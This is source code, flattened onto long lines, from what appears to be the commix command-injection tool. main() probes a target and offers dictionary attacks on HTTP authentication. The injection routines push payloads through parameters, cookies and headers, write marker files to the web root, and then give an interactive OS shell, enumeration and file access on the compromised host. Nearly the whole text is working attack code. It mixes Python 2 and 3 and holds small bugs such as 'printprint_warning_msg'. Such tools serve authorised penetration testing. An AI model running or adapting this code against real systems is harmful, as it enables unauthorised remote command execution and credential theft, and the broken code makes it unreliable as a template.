def main(): try: # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--dependencies" option. # For checking (non-core) third party dependenices. if menu.options.noncore_dependencies: checks.third_party_dependencies() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() sys.exit(0) # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) if menu.options.level > 3: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print settings.print_error_msg(err_msg) sys.exit(0) # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.logfile: parser.logfile_parser() # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split(",") for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if "," in menu.options.tech: split_techniques_names = menu.options.tech.split(",") else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace( ' ', '' ) not in settings.AVAILABLE_TECHNIQUES and found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] + "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_error_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_error_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_error_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_error_msg(err_msg) sys.exit(0) # Check if defined "--file-upload" option. if menu.options.file_upload: # Check if not defined URL for upload. if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_error_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: url = menu.options.url # Check if http / https url = checks.check_http_s(url) if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR # One directory up, if Windows or if the script is being run under "/src". if settings.IS_WINDOWS or "/src" in os.path.dirname( os.path.abspath(__file__)): os.chdir("..") output_dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.INJECT_TAG + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_error_msg(err_msg) sys.exit(0) except: raise html_data = content = response.read() print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Used a valid pair of valid credentials if menu.options.auth_cred: info_msg = "Identified a valid pair of credentials '" + Style.UNDERLINE info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print Style.BRIGHT + info_msg + Style.RESET_ALL try: if response.info()['server']: server_banner = response.info()['server'] found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS for i in range(0, len(settings.SERVER_OS_BANNERS)): if settings.SERVER_OS_BANNERS[i].lower( ) in server_banner.lower(): found_os_server = True settings.TARGET_OS = settings.SERVER_OS_BANNERS[ i].lower() if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft": identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[: 3].lower( ) if menu.options.shellshock: err_msg = "The shellshock module is not available for " + identified_os + " targets." print settings.print_critical_msg( err_msg) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os found_server_banner = False if menu.options.verbose: info_msg = "Identifying the target server..." print settings.print_info_msg(info_msg) for i in range(0, len(settings.SERVER_BANNERS)): if settings.SERVER_BANNERS[i].lower( ) in server_banner.lower(): if menu.options.verbose: success_msg = "The server was identified as " success_msg += Style.UNDERLINE + server_banner + Style.RESET_ALL + "." print settings.print_success_msg( success_msg) settings.SERVER_BANNER = server_banner found_server_banner = True # Set up default root paths if settings.SERVER_BANNERS[i].lower( ) == "apache": if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = "\\htdocs" else: settings.SRV_ROOT_DIR = "/var/www" if settings.SERVER_BANNERS[i].lower( ) == "nginx": settings.SRV_ROOT_DIR = "/usr/share/nginx" if settings.SERVER_BANNERS[i].lower( ) == "microsoft-iis": settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot" break if not found_server_banner: warn_msg = "Heuristics have failed to identify server." print settings.print_warning_msg(warn_msg) # Store the Server's root dir settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Check for wrong flags. if settings.TARGET_OS == "win": if menu.options.is_root: warn_msg = "Swithing '--is-root' to '--is-admin' because the target has been identified as windows." print settings.print_warning_msg(warn_msg) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print settings.print_warning_msg(warn_msg) if menu.options.file_upload: warn_msg = "The '--file-upload' option, is not yet available for windows targets. " warn_msg += "Instead, use the '--file-write' option." print settings.print_warning_msg(warn_msg) sys.exit(0) else: if menu.options.is_admin: warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as unix-like. " print settings.print_warning_msg(warn_msg) if found_os_server == False and \ not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: warn_msg = "Heuristics have failed to identify server's operating system." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > " got_os = raw_input( settings.print_question_msg( question_msg)).lower() if got_os.lower() in settings.CHOICE_OS: if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: if got_os == "": got_os = "enter" err_msg = "'" + got_os + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass if not menu.options.os: if found_server_banner == False: warn_msg = "The server which was identified as " + server_banner + " seems unknown." print settings.print_warning_msg(warn_msg) else: found_os_server = checks.user_defined_os() except KeyError: pass # Charset detection [1]. # [1] http://www.w3schools.com/html/html_charset.asp # Check if HTML4 format if menu.options.verbose: info_msg = "Identifing the indicated web-page charset..." print settings.print_info_msg(info_msg) content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0: charset = content else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0: settings.CHARSET = charset[len(charset) - 1] if settings.CHARSET.lower() not in settings.CHARSET_LIST: warn_msg = "The indicated web-page charset " + settings.CHARSET + " seems unknown." print settings.print_warning_msg(warn_msg) else: if menu.options.verbose: success_msg = "The indicated web-page charset appears to be " success_msg += Style.UNDERLINE + settings.CHARSET + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) except urllib2.HTTPError, e: # Check the codes of responses if e.getcode() == 500: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" content = e.read() sys.exit(0) # Check for HTTP Error 401 (Unauthorized). elif e.getcode() == 401: try: # Get the auth header value auth_line = e.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] settings.SUPPORTED_HTTP_AUTH_TYPES.index( auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False except ValueError: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The identified HTTP authentication type (" + auth_type + ") is not yet supported." print settings.print_error_msg(err_msg) + "\n" sys.exit(0) except IndexError: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The provided pair of " + menu.options.auth_type err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" err_msg += " seems to be invalid." print settings.print_error_msg(err_msg) sys.exit(0) print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if menu.options.auth_type and menu.options.auth_type != auth_type.lower( ): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() else: menu.options.auth_type = auth_type.lower() # Check for stored auth credentials. if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials( url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds: menu.options.auth_cred = stored_auth_creds success_msg = "Identified a valid pair of credentials '" + Style.UNDERLINE success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print settings.print_success_msg(success_msg) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_401: warn_msg = "(" + menu.options.auth_type.capitalize( ) + ") " warn_msg += "HTTP authentication credentials are required." printprint_warning_msg(warn_msg) while True: question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > " crack_creds = raw_input( settings.print_question_msg( question_msg)).lower() if crack_creds in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker( url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: sys.exit(0) elif crack_creds in settings.CHOICE_NO: checks.http_auth_err_msg() elif crack_creds in settings.CHOICE_QUIT: sys.exit(0) else: if crack_creds == "": crack_creds = "enter" err_msg = "'" + crack_creds + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_401: warn_msg = "(" + menu.options.auth_type.capitalize( ) + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print settings.print_warning_msg( warn_msg) while True: question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > " crack_creds = raw_input( settings.print_question_msg( question_msg)).lower() if crack_creds in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker( url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: sys.exit(0) elif crack_creds in settings.CHOICE_NO: checks.http_auth_err_msg() elif crack_creds in settings.CHOICE_QUIT: sys.exit(0) else: if crack_creds == "": crack_creds = "enter" err_msg = "'" + crack_creds + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: checks.http_auth_err_msg() else: pass elif e.getcode() == 403: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "You don't have permission to access this page." print settings.print_error_msg(err_msg) sys.exit(0) elif e.getcode() == 404: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The host seems to be down!" print settings.print_error_msg(err_msg) sys.exit(0) else: raise except urllib2.URLError, e: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The host seems to be down!" print settings.print_error_msg(err_msg) sys.exit(0)
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding spaces. payload = payload.replace(" ", "%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) try: # Get the response of the request response = requests.get_request_response(request) except KeyboardInterrupt: response = None # Check if defined method is POST. else: parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = ''.join(str(e) for e in parameter).replace("+", "%2B") # Define the POST data if settings.IS_JSON: data = parameter.replace( settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data) # Check if defined extra headers. headers.do_check(request) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) try: # Get the response of the request response = requests.get_request_response(request) except KeyboardInterrupt: response = None return response, vuln_parameter
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = settings.SUCCESS_MSG info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) 